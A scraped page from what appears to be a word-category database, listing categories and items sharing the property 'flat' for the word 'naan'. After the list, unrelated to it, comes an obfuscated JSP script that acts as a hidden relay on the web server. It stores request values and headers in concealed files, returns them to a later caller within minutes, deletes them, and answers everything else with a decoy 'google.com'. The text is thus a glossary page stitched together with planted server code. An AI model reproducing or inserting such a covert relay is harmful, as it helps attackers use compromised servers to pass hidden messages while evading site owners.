Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
naan
with nuance
flat
:
flat:bread,
Simple categories matching
flat
:
structure,
piece,
surface,
object,
implement,
collection,
article,
condition,
mold,
flower,
thing,
fee,
item,
material,
member,
food,
fish,
product,
seal,
section,
segment,
painting,
area,
earth,
marker,
bread,
substrate,
place,
sheet,
package,
weapon,
component,
figure,
pad,
web,
works,
document,
shield,
lighting,
system,
artifact,
card,
bottom,
ground,
linen,
feature,
work,
course,
ribbon,
facility,
deck,
background,
board,
equipment,
brush,
muscle,
image,
region,
creature,
epithelium,
tableware,
tin,
x-ray,
copy,
subject,
instrument,
cloth,
stick,
tray,
drawing,
display,
ride,
representation,
vehicle,
underside,
string,
charge,
artwork,
tool,
specimen,
conductor,
terrain,
footwear,
roof,
floor,
part,
road,
ornament,
content,
ware,
side,
space,
fruit,
art,
foot,
tissue,
rock,
form,
stone,
waveform,
cover,
dish,
body,
device,
record,
plate,
foliage,
strip,
textile,
clothing,
screen,
accessory,
crystal,
book,
plane,
fabric,
support,
cookware,
upland,
stage,
circuit,
wall,
substance,
portion,
original,
graphic,
bottle,
furniture,
ceiling,
option,
pan,
design,
paper,
rod,
sign,
slab,
blade,
speaker,
base,
tube,
gasket,
abstraction,
container,
solid,
polygon,
medium,
shape,
plan,
blank,
metal,
paint,
mirror,
glass,
mineral,
block,
panel,
particle,
topology,
land,
embellishment,
wire,
Members with property
flat
:
grass_field,
table,
wall,
meadow,
voucher,
similar_surface,
buffer,
flash-memory_disk,
paper,
floor,
wooden_deck,
tank_cover,
mirror,
roof_terrace,
ceramic_plate,
shopping-center_corridor,
journal_note,
glass,
painting,
bus_shelter,
pitta_bread,
fabric,
artifact,
audio,
book,
heavy_book,
kitchen_spatula,
horizontal_surface,
grill,
mountain,
diskette,
bookend,
broadleaf_weeds,
housing,
photo_negative,
chimney,
commercial_area,
steel_ladder,
airport,
painted_wood,
timber,
factory_floor,
ways,
steel,
formica_counter,
plaster,
mirror_top,
soccer_field,
woodwork,
garage_roof,
room_edition,
sanitary_napkin,
floor_tile,
building,
wide_timber,
mail_box,
coaster,
shower_wall,
cracker,
pencil,
taxiway,
lid,
ceiling,
note_pad,
sheeting,
cabinet,
linoleum_floor,
watercolor,
coin_shape,
flat_iron,
machine-tool_table,
lining,
strut,
papyrus,
news_message,
sheet_plywood,
large_platter,
skillet,
tabletop_surface,
fibula,
grassland,
ruler,
paperweight,
vacant_lots,
quilt_square,
ray,
disc,
memory_medium,
carpeted_floor,
stationery_envelope,
tile_floor,
sport_hall,
automobile_seat,
halibut,
square_tube,
road_bed,
x-ray,
laboratory_countertop,
comb,
vehicle_firewall,
long_shelf,
cement_pad,
tongue_blade,
workbench,
alleyway,
formica,
table_stone,
asphalt,
sandpaper,
rendering,
kitchen_countertop,
granite_surface,
jacket,
sound-pressure_level,
limestone,
coat_front,
fabric_roll,
mountain_bread,
boise_elevator,
broad_fence,
screen,
bathroom_floor,
under_desktop,
carton_blank,
broadside,
calm_water,
award,
beam,
picnic_table,
aircraft_runway,
shipment_pouch,
blueprint,
procedure_tray,
tarpaulin,
helicopter_deck,
footpath,
titanium,
windsor-chair_seat,
corn_tortilla,
large_plate,
chin,
granite_block,
dimensional_lumber,
glass_slide,
scrabble_piece,
magazine,
lcd_display,
trophy_plaque,
silicon_wafer,
plan,
roadway,
granite_table,
smaller_book,
low_country,
flat_spring,
hollow_glasses,
transparent_window,
asphalt_pavement,
broken_glass,
optical_fiber,
dome_cover,
watch_band,
sphere,
sheet,
daisy,
x-ray_table,
patio_deck,
smooth_pavement,
acrylic_sheeting,
sanding_block,
rectangle,
life_drawing,
face,
plastic_tray,
farm_machinery,
plant_debris,
crib_mattress,
spoon,
old_patio,
yard,
polyester_string,
lacquer,
crappie,
fur,
computer_icon,
veneer,
lcd_screen,
lamella,
block_work,
dress,
pool,
token,
glass_substrate,
meat_tray,
perspex,
substrate_film,
nail,
metal_foil,
lasagna_pan,
flat_highway,
neck,
stainless-steel_sink,
cake_circle,
smart_card,
windscreen,
apartment_rooftop,
crystal_face,
ic_card,
hide_parchment,
court,
hardwood_flooring,
desk_leg,
volcanic_basalt,
wall_parts,
cement_floor,
plastic,
steel_sheet,
square_legs,
paved_driveway,
asphalt_way,
cotton,
light_glove,
printed-circuit_board,
mica,
fingerprint_card,
record,
stall_mat,
flexible_belt,
wood-block_floor,
circuit,
wheelchair_lap,
fridge,
riparian_zone,
hake,
concrete_slab,
chipboard,
pan_head,
crash_mat,
glass_plate,
van,
fine_art,
wall_plaque,
pan,
leaflet,
wheelchair_tray,
acoustic_amp,
art,
machete,
small_dish,
sturdy_book,
street,
transportation_sign,
arms,
table_cloth,
roof,
granite_plate,
magnet,
nagano_basin,
plate_bar,
door,
pillowcase,
adze,
plinth,
roads,
cardboard_circle,
arrow,
handkerchief,
quartz_substrate,
sheet_lumber,
mantel,
piano,
porch,
concrete,
end_table,
fiberglass,
smooth_wall,
farm,
marble_floor,
bottom,
underground_bunker,
broiler_pan,
hill_bottom,
technical_drawing,
dinosaur,
sewing-machine_top,
line,
china_dish,
tombstone,
glass_sheet,
booklet,
mansard,
silver,
ice,
image_plate,
garage,
single_magazine,
box,
map,
dish,
roof_sheathing,
washer,
popsicle_stick,
board,
wood_shim,
razor,
windshield,
machine_table,
surgeon_glove,
barn,
shoe_boot,
wallpaper,
hull,
optical_flat,
pendant,
flat_panel,
top_clothes,
semiconductor_surface,
dentin,
punch_retainer,
small_tabletop,
schematic,
flange_face,
cockpit,
plate_metal,
oval,
default_front,
fence_post,
oven,
bamboo_spatula,
machine_part,
center_table,
memory_card,
square,
nonconductive_washer,
pie_dish,
theatre_program,
machinery,
minkowski_space,
carriage,
wood_spatula,
laundry_countertop,
split_leather,
riser,
music_book,
wavy_sheet,
watercolour,
egyptian_plain,
wallet,
aluminium,
taffeta,
bus_sign,
concrete_driveway,
boxcar,
windbreak_fencing,
glass_surface,
hive_top,
capacitor_speaker,
forceps,
cod,
cone,
container,
dish_pan,
page,
metallic_mesh,
vertical_stabilizer,
flat_octagon,
photo_frame,
terrace,
mirror_substrate,
cookie,
park,
round_head,
crystalline_silicon,
flat,
curb,
magnetic_chuck,
prairie,
shirt,
vehicle_windows,
paper_cutout,
drawing,
paint_scraper,
plank,
gas_rack,
software_icon,
screwdriver_blade,
old_plate,
spatula_blade,
outside_wall,
coupling_face,
slide,
clay_saucer,
desk,
baseboard,
molding,
floor_part,
whiting,
lucky_token,
file,
block_gauge,
carousel,
outdoor_patio,
compact_disk,
id_card,
sock,
sheetrock_ceiling,
plasma_screen,
big_meadow,
plywood,
cylinder-head_deck,
ski,
marble,
people_carrier,
button,
cement_patio,
quartz,
pamphlet,
circuit_support,
fin,
package,
hourly_fee,
primary,
solar_panel,
pinion_gear,
mint,
file-cabinet_wall,
sink,
photography,
magazine_page,
white_drawing,
block,
boat_hull,
film_plane,
hoe,
urogenital_diaphragm,
glider,
flooring_substructure,
cement,
trailer,
newspaper,
amazon_basin,
polyester,
relations,
uniform,
play_mat,
rubber_mallet,
pool_deck,
vector,
comic_book,
step_gage,
wall_picture,
vehicle_floor,
germination_tray,
rear_tray,
pedicure_sander,
desk_surface,
post,
copper_sheet,
balcony,
lens_papers,
concrete_platform,
x-ray_jacket,
gum,
clipboard,
lithograph,
wide_trim,
lens_mount,
compass,
river_delta,
plastic_plate,
page_numbering,
graphite,
shield,
masseter,
light_box,
pier,
pa,
transparent_material,
alloy,
shower,
denim,
dainty,
copper_alloy,
bookcase,
valentine,
cork,
tray,
pit_bottom,
surgical_linen,
magnetic_diskette,
stationery,
sturdy_table,
sichuan_basin,
computer_disk,
painting_figure,
parking_deck,
microwave,
curb_face,
log,
siding_material,
marginal_ridge,
silicon_crystal,
key,
fen,
concrete_footing,
flat_screwdriver,
plain_wall,
firm_bed,
patch_panel,
fascia_board,
tooling_plate,
road_way,
rear_wings,
deck_surface,
gravel_roadbed,
terminal,
sewing-machine_cabinet,
screwdriver,
pentagon,
architrave,
existing_patio,
aluminum,
newsprint,
rooftop,
antique_map,
cleavage_face,
old_tile,
slate,
jean,
airframe_skin,
bottom_panel,
tattoo,
paving_slab,
conference-table_top,
metal_spatula,
paint_tube,
broad_plaza,
lumber,
patio_stone,
table_mountain,
ear_base,
door_skin,
tarmac,
old_ribbon,
tube,
plastic_sign,
level_field,
tailgate,
leaf,
disk-drive_medium,
camera_body,
ground,
flatbed_truck,
extremity,
thin_film,
fence_picket,
wall_paint,
rudder,
cathedral_ceiling,
note,
house_plan,
various_document,
wall_part,
si_wafer,
hip_shower,
astrolabe,
plane_mirror,
roof_top,
test_track,
tibetan_plateau,
glossy_paper,
knit,
roller-skating_rink,
oxide_substrate,
writing,
glass_panel,
roof_panel,
settlement_area,
french_toast,
sheet_tray,
highway_pavement,
flattened_bag,
whole_body,
swimming-pool_deck,
silicon_dice,
toilet_cistern,
truck_cap,
bus,
bolt_face,
plastic_sheeting,
gasket,
aforementioned_dashboard,
written_work,
paper_map,
glass_table,
scenic_backing,
bathroom_counter,
grommet,
suspended_slab,
alumina_silicate,
junction_box,
flathead_screwdriver,
pizza,
verge,
hide,
cotton_knit,
desk_panel,
baseball,
dutch_oven,
naan,
concrete_patio,
skateboard_helmet,
spring_strip,
film_roll,
concrete_flooring,
bed,
cell_phone,
paperclip,
abs,
cube,
video,
ornamental_slab,
padded_bag,
thin_knife,
flat_stone,
autumn_leaf,
picturesque_seafront,
brass,
bin,
big_sheet,
name_card,
broiler,
oven_dish,
cd_cassette,
magazine_illustration,
flanders_coast,
griddle,
hallway,
pancake,
aisle,
crepe,
mural,
stump,
similar_material,
burlap,
plastic_lid,
acrylic_panel,
decal,
ellipse,
cad_drawing,
slide_glass,
saucer,
bag,
hacksaw,
store_shelf,
cart,
thin_sheet,
buffalo_ridge,
brick_wall,
card,
caramel_square,
nylon_webbing,
display_map,
large_sign,
bread,
football,
disk,
sheet_pan,
ceramic_tile,
fragment,
montreal_area,
blacktop,
triangle,
pizza_pan,
aquarium,
suit,
aggregate,
watch_plate,
kitchen_floor,
car_roof,
wooden_ruler,
aquarium_hood,
adhesive_polyester,
flyer,
charm,
circle_v,
door_panel,
cover,
glass_pane,
grill_top,
lab_table,
dirt_path,
nautical_chart,
open_shade,
pasture,
chisel,
plant_tray,
water_bin,
doorway,
filter_medium,
popular_type,
old_magazine,
papers,
bluegill,
acetate,
travel_trailer,
office_room,
cutout,
news,
margarine_container,
head_light,
audio_cassette,
bird_head,
desktop,
litter_bin,
mouse_pad,
family_photo,
car_bonnet,
sack,
glove,
indiana,
mat,
bench_top,
farm_yard,
sweater,
platysma,
tape_cassette,
wooden_patio,
vinyl_record,
small_plate,
albatross,
stone,
frisbee,
end_standard,
tank_bottom,
fender,
rubber_sheet,
drywall,
underside,
painted_surface,
clock_plate,
fibreboard,
satin,
cast-iron_skillet,
highway_sign,
valve_leaflet,
cardboard_model,
ground_surface,
crayon,
piece,
refrigerator_shelf,
gates,
mesh,
somerset_level,
evergreen_acres,
building_skin,
brick,
building_wall,
paved_area,
book_page,
no_pyrex,
snow,
currency_papers,
cup,
bar_front,
personalized_stationery,
tank_side,
hack-saw_blade,
primer,
wall_art,
stove,
deck_post,
concrete_beam,
copy_book,
pane,
playground_surface,
air-terminal_floor,
document,
flat_driveway,
drying_table,
shooting_bench,
skin,
bridge,
hold,
echelon_plate,
electronic_module,
adhesive_member,
wood_floor,
off_windshield,
concrete_pavement,
ceramics,
cylinder-head_gasket,
essene_bread,
shade,
diagram,
slag_roof,
terry_towelling,
shelter_house,
cloth,
sport_field,
today_stage,
ticket,
rear_deck,
bedside_table,
sticker,
point,
surface_plate,
apron,
thing,
acrylic_plate,
windowsill,
metallic_substrate,
manna_bread,
pie_tin,
advertising_papers,
baked_goods,
ribbon,
retainer,
door_frame,
croquet_lawn,
bark,
diamond,
floor_slab,
suv,
printing_plate,
similar_goods,
blue_print,
pie_pan,
place,
flat_package,
platform,
mallet,
playground,
sandstone,
sand_hill,
transparent_sheet,
mantle_shelf,
maximum_bow,
couch_cushion,
vehicle_seat,
textile_fabric,
plate,
optical_devices,
dime,
flat_board,
chalkboard,
bus_sheet,
aircraft_wings,
cardboard_packaging,
key_set,
link,
showroom_windows,
photo_print,
plane_irons,
flag,
side_glass,
hardboard,
fireplace_mantel,
paper_bundle,
stick,
reference_map,
hammer,
video_works,
dvd,
wood_siding,
basketball,
large_tile,
transdermal_patch,
curtain,
flat_cloth,
head,
drywall_panel,
quiche_dish,
plastic_foil,
mudskipper,
valve_gear,
wooden_siding,
accretion_disc,
banner,
seal,
wings,
woven_cloth,
quarter_panel,
legs,
waffle,
makeup_mirror,
indonesian_shield,
literature_display,
strainer_post,
flat_fence,
liquid-crystal_display,
web,
clarinet,
bridge_front,
album,
working_document,
kiln_lid,
rod,
copper,
level,
nylon,
roof_deck,
holy_rock,
balloon,
envelope,
key_fob,
gazebo_railing,
photograph,
tangerine,
floor_parts,
concrete_cement,
quiet_pool,
cog,
plate_bottom,
floppy_disc,
pot_lid,
plastic_surface,
tin,
river_valley,
magnetic_sheet,
paved_surface,
trapezoid,
tread,
button_shape,
architectural_rendering,
stage,
blower_housing,
workshop_floor,
front,
ballpoint_pen,
dvd_cover,
cotton_twill,
copper_tube,
square_plate,
picture,
window_sill,
window,
textile_product,
automobile_dashboard,
light_fixture,
dvd_case,
flat_acrylic,
frame,
linoleum,
road_shoulder,
sign_face,
fence,
cement_driveway,
trapezius,
gravelly_ground,
floor_surface,
accurate_ruler,
bounty,
omentum,
paint_stirrer,
writing_box,
blacktop_driveway,
metal,
headland,
metal_plate,
semiconductor_substrate,
hanger_body,
planar_speaker,
bonnet,
cabinet_wall,
skate,
ceramic_substrate,
small_booklet,
white_paint,
equipment_rack,
electrical_outlet,
printed-circuit_track,
chest,
parkland,
solid_wood,
nail_file,
styrofoam,
bicycle,
trailer_bed,
patio,
marsh,
light_flat,
strip,
craft_stick,
tape,
oval_track,
laptop_screen,
sheet-metal_siding,
star,
cookie_tin,
building_exterior,
wooden_board,
automobile_hood,
projection,
pvc_sheet,
deck_railing,
steel_slab,
parking_apron,
wainscoting,
flat_side,
earth_surface,
changing_mat,
terrace_surface,
gambrel,
jones_reflector,
waterway,
flat_hexagon,
bobsled_track,
sidewalk,
window_sills,
centerboard,
artificial_surface,
paper_sheet,
gear,
bathroom_shelf,
ect,
latex_primer,
blood_smear,
rug,
brass_plate,
river_terrace,
ridge,
beach,
graphic_panel,
field,
business_envelope,
exercise_mat,
patio_roof,
watch_back,
hospital,
savannah,
auto_glass,
robotic_machine,
tablecloth,
amulet_bag,
polymer,
call,
bronze_panel,
mousepad,
dressage,
back_edge,
panel,
atlas,
body_panel,
ceiling_tile,
sheet-metal_component,
carpet_tile,
picket_sign,
cassette,
goose,
trim,
palm_leaf,
plywood_sheet,
letter_envelope,
felt,
cabinet_panel,
windows,
pita_bread,
deck_fascia,
magnetic_tape,
bedspread,
plasma_display,
wafer,
plasterer_workbench,
dirt,
pan_lid,
plaza,
box-spring_mattress,
hood_surface,
lemon,
couch,
thin_plywood,
map_sheet,
locker_floor,
closed_roads,
van_side,
trumpet,
warehouse_pallet,
linoleum_countertop,
sunfish,
car,
plasterboard,
masonry,
acrylic,
roller_tray,
disassembly_mat,
germanium,
appliance_glass,
tortilla,
shading_area,
matchbox,
plane_wing,
concrete_floor,
ice_shelf,
back_panel,
glass_board,
damp_roads,
lab_counter,
folder,
tabletop,
large_knife,
faint_texture,
binder,
afghan,
transparency,
divider,
base_plate,
jersey,
butter_plate,
runway,
canvas_board,
keyboard_amp,
sheet_material,
trailer_body,
north,
cd_case,
dashboard,
corn_pone,
portfolio,
gear_blank,
instruction_sheet,
trowel,
abductor,
textile,
text_book,
dover_sole,
reactor_tank,
platter,
letterhead,
wallboard,
furniture,
lectern,
drawer_bottom,
polyester_web,
sampler,
clothes,
truck_trailer,
airport_runway,
publication,
machine_design,
beanbag,
plastic_substrate,
cardboard,
trunk_panel,
smooth_skate,
breech_block,
box_top,
matzoh,
shovel,
drawer_front,
cement_ground,
textile_material,
hardwood_floor,
dried_leaf,
double_bag,
pvc,
plain_land,
vehicle_windshield,
airport_apron,
cd,
large_table,
automobile,
cheese_grater,
auto_bumper,
grosgrain,
desk_top,
garage_door,
flat_roof,
counter,
drive,
fan_brush,
image,
bookmark,
valley_floor,
perspective_drawing,
utility_box,
medium,
postcard,
rubber_mat,
flooring,
concrete_walkway,
bread_pan,
ivory_veneer,
thin_section,
aper_clip,
iris_leaf,
sapphire,
large_area,
bench,
shallow_cup,
bowls,
indian_chapatti,
cream_container,
chest_x-ray,
level_ground,
art_canvas,
granite,
hardware_box,
gramophone_record,
agar_plate,
radiant_warmer,
cabaret,
flat_cable,
painted_wall,
dark_ride,
binding,
diary,
sport_card,
array,
cheek,
sign,
carpeting,
certificate,
stanchion_assembly,
vacation_photo,
blade,
trout,
framed_picture,
straight_cylinder,
roadside,
toast,
palette,
picnic_place,
compact_disc,
towel,
bar,
paving,
flat_disk,
microfiche,
identification_card,
speaker,
camper,
print,
book_illustration,
chart,
paper_strip,
name_plate,
smear,
plaque,
tree,
ie_plane,
tank,
metal_pan,
shed_roof,
casing,
hill_top,
small_screwdriver,
tile,
turbot,
form,
metal_section,
water_surface,
vise,
rooftop_area,
water,
webbing,
small_ruler,
kitchen_platform,
brochure,
railing,
tidal_plain,
paved_roadway,
bathroom_countertop,
woven_fabric,
bin_tag,
computer,
garment,
formica_top,
mexican_tortilla,
cooling_rack,
fascia,
equipment,
pillow_case,
napkin,
plastic_material,
bumper,
clams,
supporting_floor,
masonry_wall,
spatula,
city_street,
quadriceps,
netball_court,
old_door,
catalogue,
quartz_disk,
cake_tray,
industrial_floor,
pastry_board,
slab,
metallic_locker,
motorcycle,
printing,
connector,
small_poster,
postal_document,
deck_rail,
mattress,
side,
mandarin,
diaper,
local-call_charge,
parapet_wall,
sapphire_flats,
billboard,
rectangular_rod,
dog_leash,
grassy_park,
gabardine,
shotgun_action,
rubber,
hydrogel_patch,
drum,
granite_countertop,
parking_garage,
custom_knife,
body,
webbing_material,
hollow_section,
cabin_roof,
car_bumper,
automotive_panel,
mail_envelope,
jumbo_card,
cover_panel,
table_top,
fossa,
toboggan_track,
tortilla_griddle,
textured_fabric,
needlepoint,
net_fence,
magazine_item,
flange,
wool_crepe,
gondola,
pelvic_diaphragm,
header,
cabin,
basketball_parquet,
computer_housing,
child_bed,
watch,
video_cassette,
semiconductor_wafer,
counter_front,
chromium,
large_photograph,
cast-iron_tube,
unfinished_basement,
wood_column,
arabic_bread,
school_playground,
quarter,
wet_roads,
headlight,
finished_driveway,
canvas,
lab_stool,
raised_table,
holder,
ledge,
tissue,
flat_keyboard,
back_counter,
large_book,
home_glass,
sun_fish,
bristle_board,
cricket_square,
plastic_binder,
pen,
sheet_aluminum,
concrete_surface,
tie,
ship_hull,
leather,
key_chains,
handheld_platform,
switch_plate,
springboard,
grass,
hamburger,
abdomen,
car_hood,
stamp,
countertop,
magazine_paper,
nan,
cabin_side,
money_note,
thin_plate,
mantle,
flagstone,
transom,
under_couch,
window_opening,
clip_frame,
side_panel,
lava_rock,
large_tabletop,
torso,
scraper,
old_photo,
bureau,
chair,
scenic_background,
rest,
temporary_tattoo,
clothing,
surfboard,
floor_mat,
art_print,
mantelpiece,
cleaning_stone,
cupboard,
micro_mirror,
rear_fender,
large_log,
postal_packet,
car_dashboard,
broad_screwdriver,
polymer_sheet,
cord,
approach,
paved_roads,
text,
cube_face,
cake_pan,
dishpan,
road,
cu_foil,
wall_tile,
annual_fee,
accretion_disk,
desert,
matzo,
drainboard,
kitchen_counter,
hardcover_book,
fixture,
strong_table,
chest_wall,
display,
scale,
greek_pita,
shelf,
tail,
flat_copper,
boardwalk,
registration_plate,
larger_mirror,
jewelry,
hearth,
slate_rock,
original_deck,
deck_work,
display_card,
small_table,
natural_stone,
refrigerator,
nameplate,
lawn,
feather,
painted_screen,
foil,
overpass,
push,
data_plate,
flat_line,
gym_floor,
acrylic_tube,
pie_plate,
basement_floor,
screw,
illustration,
architectural_drawing,
hard_floor,
transaction_card,
tractor,
projection_film,
shale,
tunnel_extension,
water_body,
catalog,
glass_wafer,
cloth_napkin,
letters,
crystal,
urethane_flooring,
shoulder,
vertical_wall,
limb,
airplane_seat,
photographic_print,
spade,
highway,
gage_block,
roux_flask,
top,
data_diskette,
seat_slat,
circle,
metal_sheet,
bathroom,
bookshelf,
tripod,
masonry_trowel,
razor_blade,
sideboard,
twill,
delivery_document,
rule,
siding,
foam_board,
driveway,
backing_board,
clay_tablet,
mini_book,
empty_shelf,
brief_case,
square_waveform,
basin,
plaice,
printing_form,
silicon,
sport,
pc_plate,
narrow_aperture,
toolbox,
desk_side,
medium_disc,
windowpane,
silicon_substrate,
bedding,
rear,
si_substrate,
film,
scarf,
actual_wall,
iron,
plastic_sheet,
pita,
salmon,
string,
certain_weapon,
carpet,
pot,
integrated-circuit_substrate,
steps,
fender_dolly,
bitumen_roads,
clapboard_siding,
stamping_block,
sideboard_table,
cricket_pitch,
pda,
electronic_wafer,
drywall_trowel,
cabinet_door,
clean_floor,
columbia_basin,
gutter,
costume,
broad,
lamination,
sofa,
plane,
dry_wall,
keyboard,
pavement,
counter_top,
lobby_card,
tapestry,
knife,
lcd,
lead,
wooden_floor,
long_driveway,
metal_table,
bench_seat,
adjacent_wall,
haddock,
roll,
sole,
street_surface,
chapati,
garage_floor,
ax,
aquarium_glass,
desert_floor,
flag_stone,
kitchen,
river_floodplain,
terminal_block,
brill,
graphics,
vehicle,
wood_deck,
trunk,
seedy_glass,
bill,
piano_key,
speaker_wire,
advertising_board,
aluminum_clip,
dresser,
forehead,
poster,
wood,
new_car,
common_skate,
bulkhead,
shift,
set,
biscuit,
flat_bowl,
shoe-polish_tin,
electric_ray,
lamp_post,
mug,
computer_case,
big_machine,
magnetic_printing,
metal_chain,
valley_bottom,
carport,
craft,
upper_lip,
track,
mask,
parallel_plate,
seat_back,
stable_workbench,
broker_fee,
photo,
dresser_drawer,
dining-room_table,
rigid_foot,
machine,
vehicle_windscreen,
frog_skin,
crushed_stone,
burp_pad,
clay,
television,
flat_washer,
stainless_tray,
stripper_plate,
floor_carpet,
rock,
blanket_edge,
chapatti,
bed_mattress,
carton,
stainless-steel_sheet,
clean_driveway,
floorboard,
quilt,
concrete_wall,
video_disc,
magazine_cover,
divider_plate,
postal_cover,
carbon,
chair_back,
kitchen_bench,
nan_bread,
cylinder-head_seal,
concrete_terrace,
spring_steel,
wool,
semiconductor,
hood,
tetrahedron,
tool_box,
stair_steps,
tiny_screwdriver,
deck,
video_tape,
si,
paperboard,
quartz_plate,
stool,
magazine_clipping,
changing_table,
wood_post,
fabric_piece,
midplane,
blanket,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>